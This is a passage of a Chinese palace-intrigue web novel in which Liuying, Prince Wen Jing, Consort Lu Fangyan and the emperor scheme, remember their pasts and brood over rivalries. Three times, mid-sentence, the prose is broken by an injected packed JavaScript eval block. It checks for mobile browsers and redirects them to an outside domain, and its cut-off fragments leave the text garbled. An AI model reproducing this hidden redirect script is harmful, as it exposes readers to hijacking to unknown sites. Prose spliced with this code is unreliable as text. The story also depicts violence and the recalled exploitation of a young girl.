不知怎地,流萤脑海里突然冒出宋灵书凤冠霞帔的样子,比阮箫筠可是适配了不知多少倍…… “贺才人没有找到满意的?” 见宋灵书并没抬头,只翻了一页问她。知道可能是自己的目光太过灼灼,叫她有所感知了。 干脆大方走过去请教宋灵书,什么样的书会有不太常见的草药图谱。 “要都是像什么人参地黄、藿香桑叶那些,嫔妾还不如直接去太医署抓一把回来照着描呢。皇上曾说嫔妾之所以画得难看,就是缺乏想象力。如果能把没见过的东西,只看文字就画得八九不离十,那便离出师不远了。” 宋灵书闻言嘴角噙笑,像是听到了什么有趣的话。抬头坐正,丝毫不接她的后半句,只针对头半句,缓声对流萤说道,“若想对奇花异草入门,这两本更适合。” 说罢,便将她正在翻看的《水生记》,和手旁另一本《花枝百草》递到流萤面前。那成竹在胸、不出所料的神情,莫名看得流萤有些发毛。 她在看的,就是自己想要的,真有那么巧合吗? 49. 闻景收信 汪芷柔具体是怎么联系并说服顾廷风的,流萤没问。 不仅因为向家中报平安这种事儿,不应该再有第二次。再有就是流萤如今知晓了贺九仪家里也在长安开有医馆,若实在有需要,求他帮忙,或许更为稳妥。 与汪芷柔相比,贺九仪才更像是和她拴在同一根绳子上的蚂蚱。 无论贺九仪对自己的真实情感是什么,唯有一点不能否认,那便是贺九仪认可这份额外的感情。而有了这份坚定在里面,他背叛自己的可能性势必就会低上很多。 至于汪芷柔,流萤也不否认她对自己的一片真心,至少现在还是。 可她们同为皇帝的嫔妃,从前是有共同的敌人,才捻成一股绳使劲儿。若有朝一日竞争对手变成彼此,还会这般信任交心吗? 虽说汪芷柔对那个顾廷风有些春心,可真正与她有肌肤之亲的男人毕竟还是闻寻。 女人的心思总是善变,难保哪日不会突然就改了喜好,转头扎到闻寻身上。到那时,汪芷柔还能甘心看自己与闻寻琴瑟和鸣、而后步步高升吗? 是以对于汪芷柔,流萤还是提醒自己,永远要保有一份戒心。 面上却欣喜握住她的手,眼眶见红,感激之恩溢于言表,“我欠你一份恩情,等你要我还的时候,我绝无二话。刀山火海都替你去!” 汪芷柔笑她夸张,“咱们两个不说谢,以后也是。” 虽然流萤没问,但她还是主动解释起来,“这事儿呀其实也巧得很,顾大人府中正有远亲在陇西的下人,不然这封信也不会送得这样顺利。为避免露馅,他还一并邮了些银两过去。如今已过去七八天都没人说什么,定是稳妥送到了,你且放心吧。” “顾大人还说多亏你聪明,想了这么个可靠法子,日后若再有急事,他仍能再帮你一帮。” 汪芷柔越说,脸上羞赧的笑意越深,连弯弯唇角都快挂不住。流萤见此也不禁勾起坏笑调侃,“那便多谢你了~~”她故意拖长了音。 “谢我干什么?” “没有你,顾大人哪儿肯帮忙呢?他这明摆着就是为了你呢。” 仅管汪芷柔已经羞得快要将头缩进衣领里,白皙脸颊也涌上绯红,恰比三月桃花还粉里透红,流萤仍是又打趣了好一阵子才肯作罢。 流萤知道怀春少女就爱听这些,也知道只有让她中意顾廷风的这个秘密在二人之间埋得越深,汪芷柔对自己的依赖才会越重、来日看自己得势的眼红才也会越少。 至于是否还要寄信回去,就要看闻景怎么做了。 流萤相信,自己渐得圣心的消息,一定早就传进闻景耳朵了。若他再不让叶知秋现身,万一自己为保恩宠、伤到同伴,那可就不好了。 然闻景收到信也是诧异万分,叶知秋竟然没听自己的命令? 不是早叫她在宫中接应流萤的吗? 闻景攥着信纸越捏越紧,他知道流萤一定是入宫后便一直没得到任何帮助、没有收到任何信息,才会这般冒险与自己联系。 虽然对她另辟蹊径的手段表示认可,但闻景的眼色还是愈发阴沉,快比纸上的墨迹还深。 他一直对叶知秋不薄,即使没有叶世清这个兄弟的关系在,他也坚信叶知秋绝对不会背叛自己。但这次为什么出了偏差? 难道是流萤哪里让她觉得并不可靠?不敢轻易碰头? 再次想到流萤,那张走了好几个月的俏丽小脸,便又一次在脑海里慢慢浮出虚影来。 虚影越深,闻景眼中的墨色越淡。这封信虽然来得危险,但却让他觉得开心。自己没有看错人,她果然是个能干的。 他把捏皱的信纸扔进炭盆里烧掉,看上头画的那只萤火虫一点点燃上火星,熄熄亮亮,倒叫闻景想起,从前她在自己跟前儿讨好时一闪一闪的眸子了。 那时流萤已和自己熟络起来,爱财如命的本性和古灵精怪的特性,再不避讳,一双闪着精光的眼睛成天就盯着府中那些宝贝。 她知道自己有早起看书的习惯,便每日起得更早,摘来鲜花置于书案上。一束花一钱。 她知道自己喜欢下棋,又偷偷出府跟街上玉匠学打磨,硬是花了三个月做好两盒白玉棋子送来。换走一对珊瑚火树,转手就卖了三百两…… 眼中光影重合又分离,终是随着那一缕青烟袅袅飘散了。闻景叫来亲信,“让舅父传话进宫,计划照旧,不许再推!” “另外,尽快给本王摸清接手这封信的每一人,尤其是长安里出来的那位。” 是夜,北风拍窗,残烛摇曳,晃得闻景难以入眠。再次想起信纸上歪歪扭扭的“一切安好”四个字,她倒是有本事。 一进宫就入了闻寻的眼,看来那副诱人皮囊,果然是谁也逃不掉。 闻景忍不住闷哼嗤笑,明明是旗开得胜的好事,他却没法儿笑得开怀。 一想到流萤也会跟闻寻流波送盼、舌灿莲花,他的心口就像突然被团棉花塞住,不紧,却也散不出一丝闷气去。 这种不是滋味,闻景当然早就预料到了。毕竟他也曾酒后许过流萤侧妃之位,说一点感觉没有,那是不可能的。 只是没想到,自己的妒意竟会来得这样快。快到都要让闻景怀疑,自己是不是假戏真做了。 窗外的狂风还在肆意,闻景索性翻身下床,煮了壶茶,月下独弈起来。 用的还是流萤亲手做的那副白玉棋子,圆滑细腻,早已被他盘得光亮。 借月影捻起,泛出幽幽寒光好似月华流动,虽不耀眼,却如寒星般恒久,不灭不摇。亦如初见流萤时,她眼中的倔强狠绝,也叫人撼动不了半分…… 那一年,闻景宠冠后宫的母妃突然香消玉殒,他也因此失去了本该势在必得的太子之位。只得一纸郡王诏书,就被赶去了陇西封地。 还要在害他一无所有的毒妇诞辰那天,替她上香祈福。闻景每上一级积元寺的台阶,心中翻江倒海的愤怒就多涌出一层。 仿佛天公也替他悲哀,大雨瓢泼,拦路拦山,他被迫宿在积元寺,正遇到了同样在雨中满肚子怨气的流萤。 骤雨倾盆,闻景坐在屋中都觉得凉意刺骨,可流萤跪在雨中,背脊却挺得笔直。 头顶噼里啪啦的雨点突然消失,转而是雨砸在油纸上的沉闷声响。流萤倏地睁开眼睛,膝前赫然是一双玄色男靴,即使被雨浇湿,鞋尖依旧挺阔上翘。 男人?! 寺中今日怎么还有男人?不是怕露馅,早都被静涟撵走了吗? 旋即抬眼向上望去,一身暗绣锦袍深沉而华贵,包裹住颀长身姿,只露一只骨节分明的手撑伞在她面前。与他玉雕俊朗的面容相辅相成,浑身上下都透着一股与生俱来的贵气。 唯独一双禁若寒星的眼,冷血无情、不怒自威。 流萤终于意识到,这应该就是静涟口中的那位贵客,也是让她白日里想最后赌上一把的那个人。 “你为何受罚?”闻景问。 “因为我要杀你,但没成。”流萤也是同样的狠绝,毫无惧色。 “杀我?”闻寻再问。 “我逃不走。只有杀了你,那个老东西才能给我个痛快!”流萤的话满是戏谑,嗜血的眸子仿佛还噙着笑意。 闻景盯着脚下的小姑娘,明明瘦弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411808|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如枯竹,一折就断,却偏偏孤注一掷、大有置之死地而后的决绝。这份勇敢,叫他喜欢。 而如烟暴雨中,流萤拼死克制打抖的身形,也让闻景想起了那个被太后奚落的自己。不禁问出口,“若我帮你呢?” “那我就告诉你积元寺的秘密。你是当官的,端了积元寺,必定还能往上升!”流萤说得不假思索,对于闻景的身份,更是确认不改。 闻景听言,兴致更甚。可他晦涩一笑后却努嘴摇摇头,佯装这笔交易并不划算。“可你本想杀我。” “假的。我若不那样说,你只怕早就掉头走了。” 闻景微怔,下一刻旋即放声大笑。很好,这个人,他要定了。 于是倏地收伞刺向流萤,锐利的伞尖瞬间划破伸长的脖子。鲜血顷刻涌出,混着雨水很快便将早已渗透的禅衣染得更加狼狈不堪。 流萤捂着脖子,满眼不可置信。她以为自己要死了,但是疼痛却比想象得轻。 闻景再次撑开伞,不过却没再向她倾斜半分,只冷着眼睨她,“就算是假的,也该罚。” 向后挥挥手,不知躲在哪里的两个暗卫便如凶神一般窜了出来。 “去告诉静涟师太,此人意欲行刺本王,已被当场处死,叫她速来收尸。” 而后又俯身靠近流萤,盯着她那双能恨出火的眼睛,邪勾唇角,“撑得过去,我就带你走。” 流萤终于明白为何流了血,意识却仍然清醒。原是他想让自己假死。 即便心中还存疑,她也只能豁出去赌这最后的机会。于是立即配合倒下,气势汹汹揪着闻景衣摆,“你最好说到做到,不然我一定变成世间最恶的厉鬼,缠你到天荒地老!” 等静涟带人赶来,就看见流萤已经嘴唇紫白,没了丁点鲜活气儿。 她恶狠狠扒拉流萤小脸儿,止不住可气又可惜地叹息。而后才诚惶诚恐给闻景赔礼,祈求原谅。 静涟把自己摘得一干二净,说流萤跪在这儿,就是她白日发现了流萤居心叵测才给的教训。原以为流萤能改过自新,没想到仍是贼心不死,真真有愧于做佛家弟子。 呵,她还真想杀自己? 闻景要求静涟速速把人埋了,他愿意看在今日是来祈福敬香的份上,权当是替闻家挡了一灾,可以不予追究。 静涟连连应下,又使劲儿踢了流萤“尸体”好几脚出气,才命人拖去后山埋了。 静涟的人前脚填土,闻景的人后脚就将流萤挖了出来。泥土糊满了她的伤口和眼睛,唯有鼻子周围被双手捂得干净。 看着她大口呼吸,庆幸劫后余生的兴奋样子,闻景的唇角竟也不知觉跟着扯出一抹弧度。但这抹笑意更像是对她执着于目标的感叹,希望自己有朝一日,也能同流萤一样,得偿所愿。 当夜,闻景带流萤回了王府。交给婆子清洗包扎,换了身干净衣裳才来见他,不料这一见,竟让闻景眼前亮了又亮,根本不敢相信这是他刚刚救回来的人。 就连同行的许耘,都惊得唤她近到身前,仔仔细细打量了好几遍,才疑惑问闻景,“这就是你说要随便扔去厨房的小尼姑?” 仿佛是什么暴殄天物的事情。 闻景也纳闷,即便是浑浊的雨水和污秽的泥土越混越脏,才将流萤的美貌掩盖得一滴不剩。可是那满口发黑的小牙和面如死灰的整张脸,竟也能被清水洗得一干二净吗? 但此刻看眼前小姑娘,分明琼鼻樱唇,恰如带露桃花般惹人怜爱。真不知及笄后又该是何等的顾盼生姿、玉貌绝伦。 她……为何故意扮丑? 积元寺又到底藏了什么秘密? 50. 访烟心痛 午后,宝华楼。 卢访烟刚点上沉水香准备小憩,底下林保益高传“皇上驾到”的声音就蓦地响起。 浅云轻轻撩起帷幔,看了自家小姐一眼,问她是要起身更衣,还是继续躺着。入宫两年,闻寻从未舍得让卢访烟出去接过一次驾,久而久之,宝华楼里的奴才也便不急着通传了。 然而这样的特权,跟整个后宫独卢访烟一人带了家生婢浅云进宫相比,还是逊色很多。要知道,当年年幼的皇后入主中宫时也只身一人,连出生就跟在她身边的奶娘都被拦在宫门外。 足可见闻寻对卢访烟的偏爱。 “取件绒袄来吧。”卢访烟瞥了眼白茫茫的窗户,兀自起了身,“皇上也许久没来了,我陪他说说话。” 雪后寂静,将人的脚步声放大,咯吱咯吱,正在她系好最后一颗扣子时停下。 闻寻几步上楼,裹了一身寒气推门而入,深褐色的貂裘夹了层层落雪,打湿了貂绒显得有些黯淡无光。浅云上前,帮着林保益一起将貂裘取下,而后带上门出去,留下足够的清静给两位主子。 闻寻挑起帘子往里间走,竟见卢访烟在屋里也穿得厚实,脱口问道,“你这儿也冷吗?他们还敢克扣你的东西了?” 一个“也”字,叫卢访烟斟茶的动作略有停顿,但水流依旧平稳。 闻寻可是从来不怕冷的,那冷的又是谁? 她没有问,只轻轻摇了摇头,“不过是长安的冬天,对我来说还是太冷罢了。” 卢访烟是扬州长史之女,是地地道道的江南女子,即使跟闻寻回来两年了,但仍有很多地方都还不习惯。漫长且寒冷的冬季便是其中之一。好在闻寻一直照顾有加,也不算难捱。 可这会儿听她这么一说,闻寻却突然意识到自己确实好久没来看她了。上次见面还是在院子里围炉煮茶,如今都已落了雪了。 “抱歉,最近事儿多。” 闻寻说完若有所思,眸光一转,脸色也随之变得阴沉。 卢访烟看在眼里,猜测八成又是跟太后有关。因为他每次在慈安宫憋了一肚子闷气后,都是这副表情来宝华楼找自己宣泄。 其实这么说来,卢访烟也觉得自己算是幸运。不仅得了皇帝的尊重和保护,还让皇帝对她没有任何戒心,无论什么心底话,都只跟她一人说。 于是不动声色坐到软榻另一头,不远不近,准备照旧安安静静当个听众。可闻寻却迟迟没有开口,只漠然把玩着手中茶盏,空洞眼神,没有一丝聚焦。 难道他有连自己也不能说的心事了吗? 卢访烟疑惑侧头望向闻寻,这才注意到褪去貂裘,他里面竟只穿了一件单层长衫。一点不见夹棉后的蓬松,只有金丝银线的蟒纹绣满全身,反而显得他身形更加单薄落寞。 他也是个可怜人。 和自己一样。 两年前,闻寻南巡至扬州,父亲卢仲秋借官职之便,邀请闻寻到府中设宴做客。 前厅丝竹管弦、轻歌曼舞。而月廊后,则是哭花了妆的卢访烟被一群姨娘撕扯着换上如仙舞服。 “烟儿听话,姨娘保证这是最后一次,你就当为了咱们卢家。” “是啊烟儿,皇帝少年风流,最是喜欢你这样花骨朵一般的美人儿。记得多递递眼神,让皇帝记住你。你也不想再去给那些糟老头子跳舞吧。” 卢访烟从小便生得粉雕玉琢,越长大越动人,九岁便已在扬州宗妇圈里有了小美人的名号。自十一岁起,上访求亲的更是从不间断,但卢仲秋统统没有应下。 以前还以为父亲是疼爱,才舍不得她这颗掌上明珠。直到十三岁那年,父亲突然叫她去前厅宴席上为宾客献舞,卢访烟才明白,为何父亲会不惜重金请来名师教她诗词歌舞,还默许众多世郎才子高呼她为“扬州第一美”。 不过是当她做讨好上宾的玩物罢了。 自那日起,她的舞衣就再没重样过,裙摆越来越短,布料也越来越薄。每一次起舞,她都要忍受那些老男人投来的猥琐目光,就像毒蛇吐信子一样滑过肌肤,令人发寒、令人作呕。 她祈求过无数次,可换来的只有一次比一次更凶狠的鞭打和谩骂。 所以,当父亲再度要求她给皇帝献舞的时候,卢访烟便想好了,要跟整个卢家同归于尽。 她在腰间藏下匕首,准备跳到高朝时拔出,狠狠刺进闻寻胸膛,也好结束自己这任人摆布的一生。 但娇弱女人的力量怎么也不及男人,都不用旁边的侍卫出手,闻寻只抬臂一挡便轻松躲开了。他为来得及发火问罪,卢访烟竟先转了方向,奋力往刀尖上撞去,嘴里还胡乱念着:求你,至少让我死了吧。 一句话,蓦地拉闻寻回到了母妃离世的那天。 那日母子俩正一起赏梅,母妃突然腹痛难忍,不给任何找太医的时间,旋即大口大口的鲜血便喷涌而出,吐在地上,比大片凋零的红梅还刺眼。 直到母妃闭上眼的前一刻,仍有冒着泡的鲜血不断从她嘴角流出来,冰刀一样砸在他手背上。 那时闻寻也哭得肝肠寸断,再没一点活下去的念头。 是以对着卢访烟,他便第一次心软了,像是也希望有人能救救当时的自己。总之,他给了卢访烟第二次生的机会,还给了她别人求不来的荣耀。 一进宫就无视出身直接封了正三品婕妤。赐了宫中唯一的封号不说,连三层高台的宝华楼也只供她一人居住。 他对卢访烟的好,是心疼,是补偿,卢访烟也都能感觉得到。仅管她恨不得世间男人都去死,但唯独闻寻,她总是感激万分的…… “皇上,趁着初雪,不如给我画幅雪景图吧。”卢访烟缓缓抽回思绪,对闻寻说道。 她知道闻寻只有在作画的时候,才能真正放松下来。而宝华楼层高景好,最适合拿来做帮他宣泄情绪的借口。 反正朝堂大事自有太后做主,他什么家国心思都不需要有。或许写写画画,才是他这个傀儡皇帝安度一生最好的方式。 同样的孤立无援、同样的任人摆布,让卢访烟对闻寻的处境看得再清楚不过。 是以她从来不说什么热情高涨的话,激励闻寻做出无谓改变,只默默陪着他,嚼碎悲哀。 果然,闻寻听了她的话,空洞眼睛眨了眨,便扭身去了书案前。 这张书案正对着四折的格子窗,大打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实今日,闻寻本就是要去找流萤的,只不过到了银汉宫却扑了个空。 而他心里又因跟太后滞气无处宣泄,便想着像往常一样来找卢访烟坐坐也是一样的。只是没料到,有些话,如今再对着卢访烟,竟说不出口了…… 闻寻的声音依旧是只有和她在一起时才会有的温和,但唇角那抹微不可见的失落,以及扔完纸团又漫不经心往回拨弄一下的小动作,还是让卢访烟觉察出了或许连闻寻自己都不曾意识到的晦涩心思。 他动情了? 他动情了。 卢访烟手中的茶盏早已在看见流萤画像时,抖出一滴茶。温热的水珠蜿蜒向下,流至手腕处,这会儿已然完全变凉。 只留下一道,即使是单单将茶盏放到桌上,垂落的瞬间都会沾上屋中冷气的湿痕。 闻寻说过,是觉得自己和他很像,相处起来才最舒服。所以此刻,也没人比她更懂闻寻深埋的心意了。 闻寻心动了,卢访烟的心也跟着动,不过一个是甜的,一个是疼的。 51. 孤寂之人 从前卢访烟宠冠六宫,那份独属于她一人的偏爱,并不让她哗然。因为她知道闻寻骨子里的冷漠与绝情,让他根本不会爱上任何一个人。对自己心软,也不过是因为自己像他。 怜惜自己,便是成全曾经的他。 然而流萤的出现,却像是久不见的太阳突然照到了闻寻的对立面,炽热又刺眼,正将笼罩在他身上的那些阴暗折角一点点包围、强占。很快便能将他全部吞噬。 虽然闻寻自己还没意识到,但卢访烟却看得清楚,到那时,闻寻将不再需要她。 失去了陪伴的价值,也就没了存在的意义。这灿烂的皇宫,便只会是囚禁她的牢笼。 所以才心痛。 为自己毫无意义、却又挣脱不开的后半生心痛。 其实卢访烟所渴望的,从始至终都是能够脱离他人掌控,得到真正只属于她的、无拘无束的自由。并非换一个金碧辉煌的笼子,继续当金丝雀。 当初跟闻寻回宫,也不过因为那是她当下唯一能选择的离开卢府的退路。加之闻寻确实对她有恩,卢访烟想,若只能用一辈子去还他的救命之恩,也认了。至少闻寻不会再拿她去讨好谁。 可如今,若她连最后一丝用陪伴当作报恩的惦念都剩不下,真不知道还有什么能支撑她在这碧瓦高墙里,行尸走肉一般过完余生…… 卢访烟叹息转念,捧起画纸,欣赏得很是仔细。尤其是当望着流萤的眼睛,也会不由自主地想知道她究竟在看什么。 “贺才人没梳发髻,这是在她宫里盼着等您去吗?”卢访烟指着画上的流萤,大方问道。 “不,是紫宸殿……”闻寻略有停顿,仿佛脑海中的记忆突然长了脚,正一点点向那天靠拢。 “她在看十六的月。对我说,十五的月亮十六圆。” 从未去过的地方,从未被人记在心上的话。无论哪个,都足够叫后宫的女人们嫉妒成魔。 卢访烟听后也若有所思地扯了扯唇角,颇像是带了几分自嘲意味。然而事实上,她却并不妒忌流萤。 反而暗自期许,希望流萤真的能带闻寻走出黑暗颓然。她定当稽首以谢。 和宫中其他按部就班长大、然后参与选秀的女人一样,卢访烟生来也是为了所谓的家族荣耀。 但不一样的是,她们被家人约束、受家人保护,一辈子只会见皇帝一个男子。可她献过舞的宴席、侍过酒的男人却如车水马龙,永不停歇。 一张张丑陋的嘴脸、一句句恶心的话语,每次回想都让她百般后悔来到人世。 是以在卢访烟眼中,男人便是这世上最该消失的东西! 她不可能爱上任何一个男人。 即便是世间唯一善待过她的闻寻,也只能是结草衔环,涌泉相报。 卢访烟唤进来浅云,把画纸仔细卷好装进了卷轴。对闻寻说,“能解您今日愁的人,不是嫔妾。或许以后……” 或许以后也都不会是了。 剩下的几个字她没有说,只淡然一笑,佯装催促一般往外送闻寻。 望着闻寻仍有些不明所以离开的背影,蓦地想起他里头单薄的衣裳,抿了抿唇还是扬声叮嘱一句,“皇上,深冬了,多穿些。” 门外的风很凉,卢访烟只是站在门口目送了闻寻片刻,脸颊便被吹得如寒玉发白、没有血色。整个人散发着死寂冰山一样的凛冽气息,就快和霜雪融为一体。 她望着远处褐色的身影彻底消失于皑皑白雪中,脸上僵硬维持的情绪也终于卸得荡然无存。 卢访烟安慰自己,这样也不错,最后一个挂念也有了可以托付之人,她再也不用在意这世间的一丝一毫了。 决绝转身,往她那冷寂又寥落的宝华楼走去…… 然而闻寻却远没有卢访烟想得这样清楚。 他怀揣着卷轴,仿佛抱了一个烫手火炉,边边角角逛荡在胸膛间,弄得他心里毛毛的,像是仍在为不经意画起流萤的轮廓而感到心虚、感到莫名其妙。 平心而论,流萤确实给了自己不少惊喜。她聪明、大胆,美丽且锋利,最适合做与江绮玉争宠的那把刀。 可是,江绮玉明明已经翻不出花样,自己为何还愿意、甚至还想继续与流萤为伍呢? 自己究竟对流萤抱有什么期待? 是要借她之手,再除掉太后吗? 那为什么不选费尽心力查到并告知自己当年真相的宋灵书呢?她可是投靠过来就绝不可能再背叛的,不比流萤可靠得多? 而且,为什么一想到流萤心里就会莫名地平静?即便是那些她故意气自己、跟自己作对的画面,也能闷哼着放过。好像只要是她,就什么都可以。 不知不觉中,朝着银汉宫方向越走越快的步子,已将闻寻全身带热。迎面忽而有夹着烟雪的北风卷来,刮进眼睛里,也即刻被烫化。活一副今日见不到流萤,绝不算完的固执样子。 他确实有话要对流萤说,但与这些莫名其妙的情绪无关。 回想今早下了朝,太后叫他去慈安宫,说起临近年关,应当给镇守边防的将士们下发一些补贴用品,以示天家恩德。 这是好事,也是肥差,自然是要落到镇国大将军阮时铮的头上。 应该就和去年一样,由他一统调配各州各地的份额,最后剩下大半,中饱私囊。 若换作从前,闻寻定不会吱一声。反正国库不是他的,战士也不是他的,他只需等中书令起草好了诏书,扣上印昭告天下即可。 然而现在,闻寻却不能就这么便宜了太后。 放眼朝中武将,除了阮时铮一派带出来的几路人马,也就怀化大将军向煜及其亲信部下还算有些本事和威望。 于是转念间,闻寻便和往常一样,事不关己地一口应下。直到太后已说到细节,才看似随意地插了两句,“那边西的物资就给到向煜吧,由他自行分配下去。” 太后闻言突然凤眸一紧,语气不善质问他这话是什么意思。 闻寻不屑开口,“自向若蝶失子落寞后,向煜便一直请求让其夫人进宫见女儿一面。但这两年你一直提防着向煜会有别的动作,没同意。此事就权当是安抚吧。毕竟陇西还有个闻景,莫叫他钻了空子。” 太后手中佛珠被攥得更紧,老鹰般的锐利眼珠似要把闻寻看透,“皇帝如今倒也关心起政事来了?” 难不成坐了几年皇位就真以为翅膀硬了? 呵,痴人说梦。若没有自己,他又是个什么东西!太后啪一扔佛珠到桌上,坐正了身子等待闻寻跟自己解释。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“四个月,你都没查到一点蛛丝马迹,我还需担心她跟闻景有何关系吗?”闻寻依旧背对着太后,不带好气儿。 这么多年,他与太后之间一直是只维持表面的母慈子孝,太后多一点笑脸不肯给,他也多一点耐心不肯留。 尤其是被那两个宗女弄伤后,像今日这样“没大没小”的回话,他早就不止一次说了。 太后被怼得无言,却也只当他在做最无能的反抗,根本不会放在眼里。 因为闻寻如今坐在那个位置,全靠阮家扶植,他唯一能自己做主的,就只有用什么频率喘气儿。即便他在朝上说了什么没经自己同意的话,太后也有绝对的自信,让那些“金口玉言”作废。 是以懒得与闻寻计较这一两句口舌之快,只阴恻恻冷哼叮嘱他,“众矢之的,最是易折,别叫她跟你那福薄命浅的娘一样,消受不起这宫中的富贵荣华才是!” 闻寻瞬间睨起眼睛,满是戾气。紧攥到指节出响,强压下一把掐死那老毒妇的怒火,甩袖离去。 他兀自跟咚咚作响的心对话。再忍忍,一定要选个最好的坟墓,让她在恐惧中挣扎腐烂,让她如同被踩碎的蚂蚁一样尸骨无存,让她永世不得翻身!